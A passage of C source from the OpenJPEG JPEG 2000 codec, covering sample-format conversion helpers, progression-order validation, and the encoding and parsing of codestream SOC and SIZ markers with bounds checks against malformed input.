= (OPJ_INT32) l_temp; } } static void opj_j2k_write_float_to_int16(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_dest_data = (OPJ_BYTE *) p_dest_data; OPJ_FLOAT32 * l_src_data = (OPJ_FLOAT32 *) p_src_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { l_temp = (OPJ_UINT32) * (l_src_data++); opj_write_bytes(l_dest_data, l_temp, sizeof(OPJ_INT16)); l_dest_data += sizeof(OPJ_INT16); } } static void opj_j2k_write_float_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_dest_data = (OPJ_BYTE *) p_dest_data; OPJ_FLOAT32 * l_src_data = (OPJ_FLOAT32 *) p_src_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { l_temp = (OPJ_UINT32) * (l_src_data++); opj_write_bytes(l_dest_data, l_temp, sizeof(OPJ_INT32)); l_dest_data += sizeof(OPJ_INT32); } } static void opj_j2k_write_float_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_dest_data = (OPJ_BYTE *) p_dest_data; OPJ_FLOAT32 * l_src_data = (OPJ_FLOAT32 *) p_src_data; OPJ_UINT32 i; OPJ_FLOAT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { l_temp = (OPJ_FLOAT32) * (l_src_data++); opj_write_float(l_dest_data, l_temp); l_dest_data += sizeof(OPJ_FLOAT32); } } static void opj_j2k_write_float_to_float64(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_dest_data = (OPJ_BYTE *) p_dest_data; OPJ_FLOAT32 * l_src_data = (OPJ_FLOAT32 *) p_src_data; OPJ_UINT32 i; OPJ_FLOAT64 l_temp; for (i = 0; i < p_nb_elem; ++i) { l_temp = (OPJ_FLOAT64) * (l_src_data++); opj_write_double(l_dest_data, l_temp); l_dest_data += sizeof(OPJ_FLOAT64); } } const char *opj_j2k_convert_progression_order(OPJ_PROG_ORDER prg_order) { const j2k_prog_order_t *po; for (po = j2k_prog_order_list; po->enum_prog != -1; po++) { if (po->enum_prog == prg_order) { return po->str_prog; } } return po->str_prog; } static OPJ_BOOL opj_j2k_check_poc_val(const opj_poc_t *p_pocs, OPJ_UINT32 p_nb_pocs, OPJ_UINT32 p_nb_resolutions, OPJ_UINT32 p_num_comps, OPJ_UINT32 p_num_layers, opj_event_mgr_t * p_manager) { OPJ_UINT32* packet_array; OPJ_UINT32 index, resno, compno, layno; OPJ_UINT32 i; OPJ_UINT32 step_c = 1; OPJ_UINT32 step_r = p_num_comps * step_c; OPJ_UINT32 step_l = p_nb_resolutions * step_r; OPJ_BOOL loss = OPJ_FALSE; OPJ_UINT32 layno0 = 0; packet_array = (OPJ_UINT32*) opj_calloc(step_l * p_num_layers, sizeof(OPJ_UINT32)); if (packet_array == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory for checking the poc values.\n"); return OPJ_FALSE; } if (p_nb_pocs == 0) { opj_free(packet_array); return OPJ_TRUE; } index = step_r * p_pocs->resno0; /* take each resolution for each poc */ for (resno = p_pocs->resno0 ; resno < p_pocs->resno1 ; ++resno) { OPJ_UINT32 res_index = index + p_pocs->compno0 * step_c; /* take each comp of each resolution for each poc */ for (compno = p_pocs->compno0 ; compno < p_pocs->compno1 ; ++compno) { OPJ_UINT32 comp_index = res_index + layno0 * step_l; /* and finally take each layer of each res of ... */ for (layno = layno0; layno < p_pocs->layno1 ; ++layno) { /*index = step_r * resno + step_c * compno + step_l * layno;*/ packet_array[comp_index] = 1; comp_index += step_l; } res_index += step_c; } index += step_r; } ++p_pocs; /* iterate through all the pocs */ for (i = 1; i < p_nb_pocs ; ++i) { OPJ_UINT32 l_last_layno1 = (p_pocs - 1)->layno1 ; layno0 = (p_pocs->layno1 > l_last_layno1) ? l_last_layno1 : 0; index = step_r * p_pocs->resno0; /* take each resolution for each poc */ for (resno = p_pocs->resno0 ; resno < p_pocs->resno1 ; ++resno) { OPJ_UINT32 res_index = index + p_pocs->compno0 * step_c; /* take each comp of each resolution for each poc */ for (compno = p_pocs->compno0 ; compno < p_pocs->compno1 ; ++compno) { OPJ_UINT32 comp_index = res_index + layno0 * step_l; /* and finally take each layer of each res of ... */ for (layno = layno0; layno < p_pocs->layno1 ; ++layno) { /*index = step_r * resno + step_c * compno + step_l * layno;*/ packet_array[comp_index] = 1; comp_index += step_l; } res_index += step_c; } index += step_r; } ++p_pocs; } index = 0; for (layno = 0; layno < p_num_layers ; ++layno) { for (resno = 0; resno < p_nb_resolutions; ++resno) { for (compno = 0; compno < p_num_comps; ++compno) { loss |= (packet_array[index] != 1); /*index = step_r * resno + step_c * compno + step_l * layno;*/ index += step_c; } } } if (loss) { opj_event_msg(p_manager, EVT_ERROR, "Missing packets possible loss of data\n"); } opj_free(packet_array); return !loss; } /* ----------------------------------------------------------------------- */ static OPJ_UINT32 opj_j2k_get_num_tp(opj_cp_t *cp, OPJ_UINT32 pino, OPJ_UINT32 tileno) { const OPJ_CHAR *prog = 00; OPJ_INT32 i; OPJ_UINT32 tpnum = 1; opj_tcp_t *tcp = 00; opj_poc_t * l_current_poc = 00; /* preconditions */ assert(tileno < (cp->tw * cp->th)); assert(pino < (cp->tcps[tileno].numpocs + 1)); /* get the given tile coding parameter */ tcp = &cp->tcps[tileno]; assert(tcp != 00); l_current_poc = &(tcp->pocs[pino]); assert(l_current_poc != 0); /* get the progression order as a character string */ prog = opj_j2k_convert_progression_order(tcp->prg); assert(strlen(prog) > 0); if (cp->m_specific_param.m_enc.m_tp_on == 1) { for (i = 0; i < 4; ++i) { switch (prog[i]) { /* component wise */ case 'C': tpnum *= l_current_poc->compE; break; /* resolution wise */ case 'R': tpnum *= l_current_poc->resE; break; /* precinct wise */ case 'P': tpnum *= l_current_poc->prcE; break; /* layer wise */ case 'L': tpnum *= l_current_poc->layE; break; } /* whould we split here ? */ if (cp->m_specific_param.m_enc.m_tp_flag == prog[i]) { cp->m_specific_param.m_enc.m_tp_pos = i; break; } } } else { tpnum = 1; } return tpnum; } static OPJ_BOOL opj_j2k_calculate_tp(opj_j2k_t *p_j2k, opj_cp_t *cp, OPJ_UINT32 * p_nb_tiles, opj_image_t *image, opj_event_mgr_t * p_manager ) { OPJ_UINT32 pino, tileno; OPJ_UINT32 l_nb_tiles; opj_tcp_t *tcp; /* preconditions */ assert(p_nb_tiles != 00); assert(cp != 00); assert(image != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_j2k); OPJ_UNUSED(p_manager); l_nb_tiles = cp->tw * cp->th; * p_nb_tiles = 0; tcp = cp->tcps; /* INDEX >> */ /* TODO mergeV2: check this part which use cstr_info */ /*if (p_j2k->cstr_info) { opj_tile_info_t * l_info_tile_ptr = p_j2k->cstr_info->tile; for (tileno = 0; tileno < l_nb_tiles; ++tileno) { OPJ_UINT32 cur_totnum_tp = 0; opj_pi_update_encoding_parameters(image,cp,tileno); for (pino = 0; pino <= tcp->numpocs; ++pino) { OPJ_UINT32 tp_num = opj_j2k_get_num_tp(cp,pino,tileno); *p_nb_tiles = *p_nb_tiles + tp_num; cur_totnum_tp += tp_num; } tcp->m_nb_tile_parts = cur_totnum_tp; l_info_tile_ptr->tp = (opj_tp_info_t *) opj_malloc(cur_totnum_tp * sizeof(opj_tp_info_t)); if (l_info_tile_ptr->tp == 00) { return OPJ_FALSE; } memset(l_info_tile_ptr->tp,0,cur_totnum_tp * sizeof(opj_tp_info_t)); l_info_tile_ptr->num_tps = cur_totnum_tp; ++l_info_tile_ptr; ++tcp; } } else */{ for (tileno = 0; tileno < l_nb_tiles; ++tileno) { OPJ_UINT32 cur_totnum_tp = 0; opj_pi_update_encoding_parameters(image, cp, tileno); for (pino = 0; pino <= tcp->numpocs; ++pino) { OPJ_UINT32 tp_num = opj_j2k_get_num_tp(cp, pino, tileno); *p_nb_tiles = *p_nb_tiles + tp_num; cur_totnum_tp += tp_num; } tcp->m_nb_tile_parts = cur_totnum_tp; ++tcp; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_soc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { /* 2 bytes will be written */ OPJ_BYTE * l_start_stream = 00; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); l_start_stream = p_j2k->m_specific_param.m_encoder.m_header_tile_data; /* write SOC identifier */ opj_write_bytes(l_start_stream, J2K_MS_SOC, 2); if (opj_stream_write_data(p_stream, l_start_stream, 2, p_manager) != 2) { return OPJ_FALSE; } /* UniPG>> */ #ifdef USE_JPWL /* update markers struct */ /* OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_SOC, p_stream_tell(p_stream) - 2, 2); */ assert(0 && "TODO"); #endif /* USE_JPWL */ /* <<UniPG */ return OPJ_TRUE; } /** * Reads a SOC marker (Start of Codestream) * @param p_j2k the jpeg2000 file codec. * @param p_stream FIXME DOC * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_soc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_BYTE l_data [2]; OPJ_UINT32 l_marker; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); if (opj_stream_read_data(p_stream, l_data, 2, p_manager) != 2) { return OPJ_FALSE; } opj_read_bytes(l_data, &l_marker, 2); if (l_marker != J2K_MS_SOC) { return OPJ_FALSE; } /* Next marker should be a SIZ marker in the main header */ p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_MHSIZ; /* FIXME move it in a index structure included in p_j2k*/ p_j2k->cstr_index->main_head_start = opj_stream_tell(p_stream) - 2; opj_event_msg(p_manager, EVT_INFO, "Start to read j2k main header (%d).\n", p_j2k->cstr_index->main_head_start); /* Add the marker to the codestream index*/ if (OPJ_FALSE == opj_j2k_add_mhmarker(p_j2k->cstr_index, J2K_MS_SOC, p_j2k->cstr_index->main_head_start, 2)) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add mh marker\n"); return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_siz(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 i; OPJ_UINT32 l_size_len; OPJ_BYTE * l_current_ptr; opj_image_t * l_image = 00; opj_cp_t *cp = 00; opj_image_comp_t * l_img_comp = 00; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; cp = &(p_j2k->m_cp); l_size_len = 40 + 3 * l_image->numcomps; l_img_comp = l_image->comps; if (l_size_len > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_size_len); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory for the SIZ marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_size_len; } l_current_ptr = p_j2k->m_specific_param.m_encoder.m_header_tile_data; /* write SOC identifier */ opj_write_bytes(l_current_ptr, J2K_MS_SIZ, 2); /* SIZ */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, l_size_len - 2, 2); /* L_SIZ */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, cp->rsiz, 2); /* Rsiz (capabilities) */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, l_image->x1, 4); /* Xsiz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, l_image->y1, 4); /* Ysiz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, l_image->x0, 4); /* X0siz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, l_image->y0, 4); /* Y0siz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, cp->tdx, 4); /* XTsiz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, cp->tdy, 4); /* YTsiz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, cp->tx0, 4); /* XT0siz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, cp->ty0, 4); /* YT0siz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, l_image->numcomps, 2); /* Csiz */ l_current_ptr += 2; for (i = 0; i < l_image->numcomps; ++i) { /* TODO here with MCT ? */ opj_write_bytes(l_current_ptr, l_img_comp->prec - 1 + (l_img_comp->sgnd << 7), 1); /* Ssiz_i */ ++l_current_ptr; opj_write_bytes(l_current_ptr, l_img_comp->dx, 1); /* XRsiz_i */ ++l_current_ptr; opj_write_bytes(l_current_ptr, l_img_comp->dy, 1); /* YRsiz_i */ ++l_current_ptr; ++l_img_comp; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_size_len, p_manager) != l_size_len) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a SIZ marker (image and tile size) * @param p_j2k the jpeg2000 file codec. * @param p_header_data the data contained in the SIZ box. * @param p_header_size the size of the data contained in the SIZ marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_siz(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 i; OPJ_UINT32 l_nb_comp; OPJ_UINT32 l_nb_comp_remain; OPJ_UINT32 l_remaining_size; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 l_tmp, l_tx1, l_ty1; OPJ_UINT32 l_prec0, l_sgnd0; opj_image_t *l_image = 00; opj_cp_t *l_cp = 00; opj_image_comp_t * l_img_comp = 00; opj_tcp_t * l_current_tile_param = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_header_data != 00); l_image = p_j2k->m_private_image; l_cp = &(p_j2k->m_cp); /* minimum size == 39 - 3 (= minimum component parameter) */ if (p_header_size < 36) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker size\n"); return OPJ_FALSE; } l_remaining_size = p_header_size - 36; l_nb_comp = l_remaining_size / 3; l_nb_comp_remain = l_remaining_size % 3; if (l_nb_comp_remain != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker size\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tmp, 2); /* Rsiz (capabilities) */ p_header_data += 2; l_cp->rsiz = (OPJ_UINT16) l_tmp; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_image->x1, 4); /* Xsiz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_image->y1, 4); /* Ysiz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_image->x0, 4); /* X0siz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_image->y0, 4); /* Y0siz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_cp->tdx, 4); /* XTsiz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_cp->tdy, 4); /* YTsiz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_cp->tx0, 4); /* XT0siz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_cp->ty0, 4); /* YT0siz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_tmp, 2); /* Csiz */ p_header_data += 2; if (l_tmp < 16385) { l_image->numcomps = (OPJ_UINT16) l_tmp; } else { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: number of component is illegal -> %d\n", l_tmp); return OPJ_FALSE; } if (l_image->numcomps != l_nb_comp) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: number of component is not compatible with the remaining number of parameters ( %d vs %d)\n", l_image->numcomps, l_nb_comp); return OPJ_FALSE; } /* testcase 4035.pdf.SIGSEGV.d8b.3375 */ /* testcase issue427-null-image-size.jp2 */ if ((l_image->x0 >= l_image->x1) || (l_image->y0 >= l_image->y1)) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: negative or zero image size (%" PRId64 " x %" PRId64 ")\n", (OPJ_INT64)l_image->x1 - l_image->x0, (OPJ_INT64)l_image->y1 - l_image->y0); return OPJ_FALSE; } /* testcase 2539.pdf.SIGFPE.706.1712 (also 3622.pdf.SIGFPE.706.2916 and 4008.pdf.SIGFPE.706.3345 and maybe more) */ if ((l_cp->tdx == 0U) || (l_cp->tdy == 0U)) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: invalid tile size (tdx: %d, tdy: %d)\n", l_cp->tdx, l_cp->tdy); return OPJ_FALSE; } /* testcase 1610.pdf.SIGSEGV.59c.681 */ if ((0xFFFFFFFFU / l_image->x1) < l_image->y1) { opj_event_msg(p_manager, EVT_ERROR, "Prevent buffer overflow (x1: %d, y1: %d)\n", l_image->x1, l_image->y1); return OPJ_FALSE; } /* testcase issue427-illegal-tile-offset.jp2 */ l_tx1 = opj_uint_adds(l_cp->tx0, l_cp->tdx); /* manage overflow */ l_ty1 = opj_uint_adds(l_cp->ty0, l_cp->tdy); /* manage overflow */ if ((l_cp->tx0 > l_image->x0) || (l_cp->ty0 > l_image->y0) || (l_tx1 <= l_image->x0) || (l_ty1 <= l_image->y0)) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: illegal tile offset\n"); return OPJ_FALSE; } if (!p_j2k->dump_state) { OPJ_UINT32 siz_w, siz_h; siz_w = l_image->x1 - l_image->x0; siz_h = l_image->y1 - l_image->y0; if (p_j2k->ihdr_w > 0 && p_j2k->ihdr_h > 0 && (p_j2k->ihdr_w != siz_w || p_j2k->ihdr_h != siz_h)) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: IHDR w(%u) h(%u) vs. SIZ w(%u) h(%u)\n", p_j2k->ihdr_w, p_j2k->ihdr_h, siz_w, siz_h); return OPJ_FALSE; } } #ifdef USE_JPWL if (l_cp->correct) { /* if JPWL is on, we check whether TX errors have damaged too much the SIZ parameters */ if (!(l_image->x1 * l_image->y1)) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad image size (%d x %d)\n", l_image->x1, l_image->y1); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } } /* FIXME check previously in the function so why keep this piece of code ? Need by the norm ? if (l_image->numcomps != ((len - 38) / 3)) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: Csiz is %d => space in SIZ only for %d comps.!!!\n", l_image->numcomps, ((len - 38) / 3)); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } */ /* we try to correct */ /* opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust this\n"); if (l_image->numcomps < ((len - 38) / 3)) { len = 38 + 3 * l_image->numcomps; opj_event_msg(p_manager, EVT_WARNING, "- setting Lsiz to %d => HYPOTHESIS!!!\n", len); } else { l_image->numcomps = ((len - 38) / 3); opj_event_msg(p_manager, EVT_WARNING, "- setting Csiz to %d => HYPOTHESIS!!!\n", l_image->numcomps); } } */ /* update components number in the jpwl_exp_comps filed */ l_cp->exp_comps = l_image->numcomps; } #endif /* USE_JPWL */ /* Allocate the resulting image components */ l_image->comps = (opj_image_comp_t*) opj_calloc(l_image->numcomps, sizeof(opj_image_comp_t)); if (l_image->comps == 00) { l_image->numcomps = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } l_img_comp = l_image->comps; l_prec0 = 0; l_sgnd0 = 0; /* Read the component information */ for (i = 0; i < l_image->numcomps; ++i) { OPJ_UINT32 tmp; opj_read_bytes(p_header_data, &tmp, 1); /* Ssiz_i */ ++p_header_data; l_img_comp->prec = (tmp & 0x7f) + 1; l_img_comp->sgnd = tmp >> 7; if (p_j2k->dump_state == 0) { if (i == 0) { l_prec0 = l_img_comp->prec; l_sgnd0 = l_img_comp->sgnd; } else if (!l_cp->allow_different_bit_depth_sign && (l_img_comp->prec != l_prec0 || l_img_comp->sgnd != l_sgnd0)) { opj_event_msg(p_manager, EVT_WARNING, "Despite JP2 BPC!=255, precision and/or sgnd values for comp[%d] is different than comp[0]:\n" " [0] prec(%d) sgnd(%d) [%d] prec(%d) sgnd(%d)\n", i, l_prec0, l_sgnd0, i, l_img_comp->prec, l_img_comp->sgnd); } /* TODO: we should perhaps also check against JP2 BPCC values */ } opj_read_bytes(p_header_data, &tmp, 1); /* XRsiz_i */ ++p_header_data; l_img_comp->dx = (OPJ_UINT32)tmp; /* should be between 1 and 255 */ opj_read_bytes(p_header_data, &tmp, 1); /* YRsiz_i */ ++p_header_data; l_img_comp->dy = (OPJ_UINT32)tmp; /* should be between 1 and 255 */ if (l_img_comp->dx < 1 || l_img_comp->dx > 255 || l_img_comp->dy < 1 || l_img_comp->dy > 255) { opj_event_msg(p_manager, EVT_ERROR, "Invalid values for comp = %d : dx=%u dy=%u (should be between 1 and 255 according to the JPEG2000 norm)\n", i, l_img_comp->dx, l_img_comp->dy); return OPJ_FALSE; } /* Avoids later undefined shift in computation of */ /* p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps[i].m_dc_level_shift = 1 << (l_image->comps[i].prec - 1); */ if (l_img_comp->prec > 31) { opj_event_msg(p_manager, EVT_ERROR, "Invalid values for comp = %d : prec=%u (should be between 1 and 38 according to the JPEG2000 norm. OpenJpeg only supports up to 31)\n", i, l_img_comp->prec); return OPJ_FALSE; } #ifdef USE_JPWL if (l_cp->correct) { /* if JPWL is on, we check whether TX errors have damaged too much the SIZ parameters, again */ if (!(l_image->comps[i].dx * l_image->comps[i].dy)) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: bad XRsiz_%d/YRsiz_%d (%d x %d)\n", i, i, l_image->comps[i].dx, l_image->comps[i].dy); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust them\n"); if (!l_image->comps[i].dx) { l_image->comps[i].dx = 1; opj_event_msg(p_manager, EVT_WARNING, "- setting XRsiz_%d to %d => HYPOTHESIS!!!\n", i, l_image->comps[i].dx); } if (!l_image->comps[i].dy) { l_image->comps[i].dy = 1; opj_event_msg(p_manager, EVT_WARNING, "- setting YRsiz_%d to %d => HYPOTHESIS!!!\n", i, l_image->comps[i].dy); } } } #endif /* USE_JPWL */ l_img_comp->resno_decoded = 0; /* number of resolution decoded */ l_img_comp->factor = l_cp->m_specific_param.m_dec.m_reduce; /* reducing factor per component */ ++l_img_comp; } if (l_cp->tdx == 0 || l_cp->tdy == 0) { return OPJ_FALSE; } /* Compute the number of tiles */ l_cp->tw = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)(l_image->x1 - l_cp->tx0), (OPJ_INT32)l_cp->tdx); l_cp->th = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)(l_image->y1 - l_cp->ty0), (OPJ_INT32)l_cp->tdy); /* Check that the number of tiles is valid */ if (l_cp->tw == 0 || l_cp->th == 0 || l_cp->tw > 65535 / l_cp->th) { opj_event_msg(p_manager, EVT_ERROR, "Invalid number of tiles : %u x %u (maximum fixed by jpeg2000 norm is 65535 tiles)\n", l_cp->tw, l_cp->th); return OPJ_FALSE; } l_nb_tiles = l_cp->tw * l_cp->th; /* Define the tiles which will be decoded */ if (p_j2k->m_specific_param.m_decoder.m_discard_tiles) { p_j2k->m_specific_param.m_decoder.m_start_tile_x = (p_j2k->m_specific_param.m_decoder.m_start_tile_x - l_cp->tx0) / l_cp->tdx; p_j2k->m_specific_param.m_decoder.m_start_tile_y = (p_j2k->m_specific_param.m_decoder.m_start_tile_y - l_cp->ty0) / l_cp->tdy; p_j2k->m_specific_param.m_decoder.m_end_tile_x = (OPJ_UINT32)opj_int_ceildiv(( OPJ_INT32)(p_j2k->m_specific_param.m_decoder.m_end_tile_x - l_cp->tx0), (OPJ_INT32)l_cp->tdx); p_j2k->m_specific_param.m_decoder.m_end_tile_y = (OPJ_UINT32)opj_int_ceildiv(( OPJ_INT32)(p_j2k->m_specific_param.m_decoder.m_end_tile_y - l_cp->ty0), (OPJ_INT32)l_cp->tdy); } else { p_j2k->m_specific_param.m_decoder.m_start_tile_x = 0; p_j2k->m_specific_param.m_decoder.m_start_tile_y = 0; p_j2k->m_specific_param.m_decoder.m_end_tile_x = l_cp->tw; p_j2k->m_specific_param.m_decoder.m_end_tile_y = l_cp->th; } #ifdef USE_JPWL if (l_cp->correct) { /* if JPWL is on, we check whether TX errors have damaged too much the SIZ parameters */ if ((l_cp->tw < 1) || (l_cp->th < 1) || (l_cp->tw > l_cp->max_tiles) || (l_cp->th > l_cp->max_tiles)) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: bad number of tiles (%d x %d)\n", l_cp->tw, l_cp->th); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust them\n"); if (l_cp->tw < 1) { l_cp->tw = 1; opj_event_msg(p_manager, EVT_WARNING, "- setting %d tiles in x => HYPOTHESIS!!!\n", l_cp->tw); } if (l_cp->tw > l_cp->max_tiles) { l_cp->tw = 1; opj_event_msg(p_manager, EVT_WARNING, "- too large x, increase expectance of %d\n" "- setting %d tiles in x => HYPOTHESIS!!!\n", l_cp->max_tiles, l_cp->tw); } if (l_cp->th < 1) { l_cp->th = 1; opj_event_msg(p_manager, EVT_WARNING, "- setting %d tiles in y => HYPOTHESIS!!!\n", l_cp->th); } if (l_cp->th > l_cp->max_tiles) { l_cp->th = 1; opj_event_msg(p_manager, EVT_WARNING, "- too large y, increase expectance of %d to continue\n", "- setting %d tiles in y => HYPOTHESIS!!!\n", l_cp->max_tiles, l_cp->th); } } } #endif /* USE_JPWL */ /* memory allocations */ l_cp->tcps = (opj_tcp_t*) opj_calloc(l_nb_tiles, sizeof(opj_tcp_t)); if (l_cp->tcps == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } #ifdef USE_JPWL if (l_cp->correct) { if (!l_cp->tcps) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: could not alloc tcps field of cp\n"); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } } } #endif /* USE_JPWL */ p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps = (opj_tccp_t*) opj_calloc(l_image->numcomps, sizeof(opj_tccp_t)); if (p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_default_tcp->m_mct_records = (opj_mct_data_t*)opj_calloc(OPJ_J2K_MCT_DEFAULT_NB_RECORDS, sizeof(opj_mct_data_t)); if (! p_j2k->m_specific_param.m_decoder.m_default_tcp->m_mct_records) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_default_tcp->m_nb_max_mct_records = OPJ_J2K_MCT_DEFAULT_NB_RECORDS; p_j2k->m_specific_param.m_decoder.m_default_tcp->m_mcc_records = (opj_simple_mcc_decorrelation_data_t*) opj_calloc(OPJ_J2K_MCC_DEFAULT_NB_RECORDS, sizeof(opj_simple_mcc_decorrelation_data_t)); if (! p_j2k->m_specific_param.m_decoder.m_default_tcp->m_mcc_records) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_default_tcp->m_nb_max_mcc_records = OPJ_J2K_MCC_DEFAULT_NB_RECORDS; /* set up default dc level shift */ for (i = 0; i < l_image->numcomps; ++i) { if (! l_image->comps[i].sgnd) { p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps[i].m_dc_level_shift = 1 << (l_image->comps[i].prec - 1); } } l_current_tile_param = l_cp->tcps; for (i = 0; i < l_nb_tiles; ++i) { l_current_tile_param->tccps = (opj_tccp_t*) opj_calloc(l_image->numcomps, sizeof(opj_tccp_t)); if (l_current_tile_param->tccps == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } ++l_current_tile_param; } p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_MH; opj_image_comp_header_update(l_image, l_cp); return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_com(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_comment_size; OPJ_UINT32 l_total_com_size; const OPJ_CHAR *l_comment; OPJ_BYTE * l_current_ptr = 00; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); l_comment = 